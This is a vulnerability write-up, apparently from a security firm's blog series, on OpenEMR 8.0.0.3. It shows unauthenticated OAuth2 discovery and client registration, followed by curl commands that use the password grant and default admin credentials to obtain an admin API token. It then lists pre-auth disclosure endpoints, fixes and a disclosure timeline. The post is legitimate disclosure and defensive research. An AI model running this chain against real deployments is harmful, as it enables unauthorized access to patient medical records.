Series
Breaking OpenEMR 8.0.0.3 (unpatched through 8.2.0) — A Five-Part Research Series — View all write-ups

TL;DR — OpenEMR 8.0.0.3 exposes its complete OAuth2 infrastructure — every endpoint, every supported grant type, every scope — without authentication. Combined with unauthenticated client registration and the OAuth2 password grant, an attacker with any valid user credentials can obtain an API access token without ever touching the web interface.


A TARGET THAT INTRODUCES ITSELF

When I start assessing an application, one of my first moves is to see what it tells me before I've authenticated to anything. Every piece of information disclosed pre-auth is attack surface I can map without touching a login form.

OpenEMR 8.0.0.3 is remarkably forthcoming.

The most valuable endpoint I found was this:

GET /apis/default/fhir/.well-known/smart-configuration

No authentication required. The response is a JSON document that, in any compliant SMART on FHIR implementation, is supposed to describe the server's capabilities to third-party app developers. In OpenEMR's case, it describes them to everyone — including people who have no business knowing them.

Here is a condensed version of what came back:

{
  "issuer": "http://192.168.3.9:8050/oauth2/default",
  "authorization_endpoint": "http://192.168.3.9:8050/oauth2/default/authorize",
  "token_endpoint": "http://192.168.3.9:8050/oauth2/default/token",
  "registration_endpoint": "http://192.168.3.9:8050/oauth2/default/registration",
  "introspection_endpoint": "http://192.168.3.9:8050/oauth2/default/introspect",
  "grant_types_supported": [
    "authorization_code",
    "client_credentials",
    "password",
    "refresh_token"
  ],
  "token_endpoint_auth_methods_supported": [
    "client_secret_basic",
    "client_secret_post",
    "private_key_jwt"
  ],
  "scopes_supported": [
    "openid", "offline_access", "api:oemr", "api:fhir", "api:port",
    "patient/Patient.read", "patient/Encounter.read",
    "system/Patient.read", "system/Encounter.read",
    "user/Patient.read", "user/Encounter.read",
    ...
  ]
}

The password grant type in grant_types_supported is the thing that made me stop and think.


THE PASSWORD GRANT

The OAuth2 password grant (formally the Resource Owner Password Credentials grant) is described in RFC 6749 Section 4.3. It works like this: instead of redirecting a user to an authorization page and waiting for a callback, the client collects the user's username and password directly and exchanges them for a token by POST-ing to the token endpoint.

The IETF has deprecated this grant type in their OAuth 2.1 draft specification for reasons that are not subtle. It bypasses the browser-based authorization flow, eliminates the possibility of multi-factor authentication prompting, and centralizes all credential handling in the client application rather than the authorization server. The OpenEMR documentation itself includes a note calling the password grant "not considered secure." It is disabled by default in 8.0.0.3 — but it ships as a built-in option that a single Administration → Globals toggle (oauth_password_grant) switches on, and once enabled it behaves exactly as described below.

For an attacker who has obtained credentials — through default passwords, phishing, credential stuffing, or any other means — the password grant is a direct path to an API access token. No browser redirect. No user interaction. No MFA prompt. One HTTP request.

But to use the password grant, you need a registered client. Which brings us back to the unauthenticated registration endpoint from Part 1.


THE TWO-STEP CHAIN

The complete attack requires two unauthenticated HTTP requests plus the credentials, and then one token request:

Step 1 — Discover the endpoints (no auth):

SMART_CONFIG=$(curl -sk "${TARGET}/apis/default/fhir/.well-known/smart-configuration")
TOKEN_ENDPOINT=$(echo "$SMART_CONFIG" | python3 -c \
  "import sys,json; print(json.load(sys.stdin)['token_endpoint'])")

Step 2 — Register a client (no auth):

REG_RESP=$(curl -sk -X POST "${TARGET}/oauth2/default/registration" \
  -H "Content-Type: application/json" \
  -d '{
    "application_type": "private",
    "client_name": "PoC-Client",
    "grant_types": ["password"],
    "redirect_uris": ["http://localhost:9999/callback"],
    "token_endpoint_auth_method": "client_secret_basic",
    "scope": "openid api:fhir patient/Patient.read"
  }')

CLIENT_ID=$(echo "$REG_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['client_id'])")
CLIENT_SECRET=$(echo "$REG_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['client_secret'])")

The application_type: "private" with patient/* scopes results in automatic approval — no admin action required, no waiting, no social engineering. The server returns a client_id and client_secret in the response.

Step 3 — Use the password grant with default credentials:

TOKEN_RESP=$(curl -sk -X POST "${TARGET}/oauth2/default/token" \
  -u "${CLIENT_ID}:${CLIENT_SECRET}" \
  -d "grant_type=password&username=admin&password=pass&user_role=users&scope=openid+api:fhir")

The server returned a 200 OK with an access token, a refresh token, an ID token, and the confirmed scope including api:fhir. I decoded the JWT payload and confirmed it contained admin-level claims.


WHAT MAKES THIS DIFFERENT FROM PART 1

Both the Part 1 client-registration chain and this password-grant path reach the same place — an API access token. But they are genuinely distinct vulnerabilities with different threat models:

The client_credentials path (Part 1) is about scalability and persistence. The attack is more complex to set up (requires admin approval), but the resulting credential — a private RSA key that only the attacker holds — can generate new access tokens indefinitely. It requests system/* scopes, granting access to all patients. It does not require knowing any user's password. It is the more powerful long-term compromise.

The password grant path (this finding) is about immediacy and accessibility. Any attacker who has one set of valid credentials — whether from default passwords, a phishing campaign, or a database from a prior breach — can convert those credentials directly to an API access token with zero friction. No browser, no MFA, no redirect, no approval wait. This path enables credential stuffing against the API at scale: thousands of credential pairs tested against a single token endpoint, completely bypassing whatever authentication hardening exists at the web interface level.

The password grant is also dangerous for a reason that goes beyond the credentials it consumes. It creates a second authentication surface. An organization might deploy OpenEMR with web interface rate limiting, IP allowlisting, and account lockout on the login form — and have none of those controls apply to the token endpoint. The password grant effectively provides a parallel login mechanism that security teams frequently do not know exists.


VERSION DISCLOSURE: THE BONUS ROUND

While I was mapping the pre-auth surface, I found additional disclosure endpoints worth noting:

Exact version number:

GET /apis/default/api/version
→ {"version": "8.0.0.3", ...}

Full FHIR CapabilityStatement:

GET /apis/default/fhir/metadata
→ 200+ supported resource types and operations, all FHIR endpoints, software version

Swagger API specification:

GET /swagger/openemr-api.yaml
→ 320KB OpenAPI 3.0 specification with 57+ endpoint paths, parameter schemas, authentication requirements

Infrastructure health:

GET /meta/health/readyz
→ {"status": "pass", "database": "pass", "filesystem": "pass", "oauth_keys": "pass", ...}

None of these require authentication. An attacker mapping an OpenEMR deployment does not need to guess at the API structure or poke at endpoints hoping for responses. The complete specification is served on request.

The version disclosure is particularly significant for pre-attack intelligence: knowing the exact version allows checking for known CVEs before any other testing begins.


THE RECOMMENDED FIX

There are two separate issues here:

Disable the password grant. OpenEMR's own documentation recommends against it. The grant type should be removed from the enabled list in the OAuth2 server configuration. Any legitimate use case served by the password grant can be replaced by the authorization code flow with PKCE, which provides proper MFA support and does not expose passwords to client applications.

Restrict the pre-auth disclosure surface. The SMART configuration endpoint (/.well-known/smart-configuration) is required by the standard, but some of its contents — particularly the grant_types_supported list and the registration endpoint — should reflect a minimal surface rather than every configured option. The Swagger spec, version endpoint, and health check should require at minimum a valid session. The FHIR CapabilityStatement can remain public (it is standard practice) but should not include implementation-specific details that assist attackers.


Update — Disclosure

This finding was identified during the same research as the rest of this OpenEMR 8.0.0.3 series. The two findings I considered most impactful — arbitrary SQL execution in backup.php (CVE-2026-39931) and the eval()-based RCE (CVE-2026-39932) — were reported to the OpenEMR maintainers on 2026-04-13 and closed without a remediation commitment: one as “out of scope for a CVE,” the other as a duplicate whose fix reached only the development branch months later and is still absent from any release. Given that response to the higher-severity issues, I am disclosing the remaining findings in this series publicly rather than through a coordinated process the same maintainers had already declined to act on. This finding was not separately reported to the maintainers; at my request, VulnCheck (CNA) has independently assigned it CVE-2026-67611.

DISCLOSURE TIMELINE

Date Event
2026-04-12 Pre-auth surface discovery during independent security research
2026-04-12 Password grant confirmed with admin/pass; token obtained with api:fhir scope
2026-04-12 Vulnerability documented (High, CVSS 8.1)
2026-04-12 Remediation recommendations documented
2026-08-02 CVE ID requested from VulnCheck (CNA)
2026-08-02 Public disclosure — this write-up published
2026-08-03 CVE-2026-67611 assigned and published by VulnCheck (CNA)

OpenEMR is an open-source project available at https://github.com/openemr/openemr. These findings were demonstrated on OpenEMR 8.0.0.3 and confirmed still exploitable against the current release (8.2.0). All testing was performed as independent security research against a dedicated, self-hosted test instance. No production systems or real patient data were accessed or affected.

This is Part 2 of a five-part series on vulnerabilities in OpenEMR 8.0.0.3. Part 1 covered unauthenticated OAuth2 client registration and the client_credentials JWT assertion chain. Part 3 covers the SQL import primitive that enables arbitrary SQL execution from an admin account — and sets up the RCE chain in Part 4.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.

Services Get in touch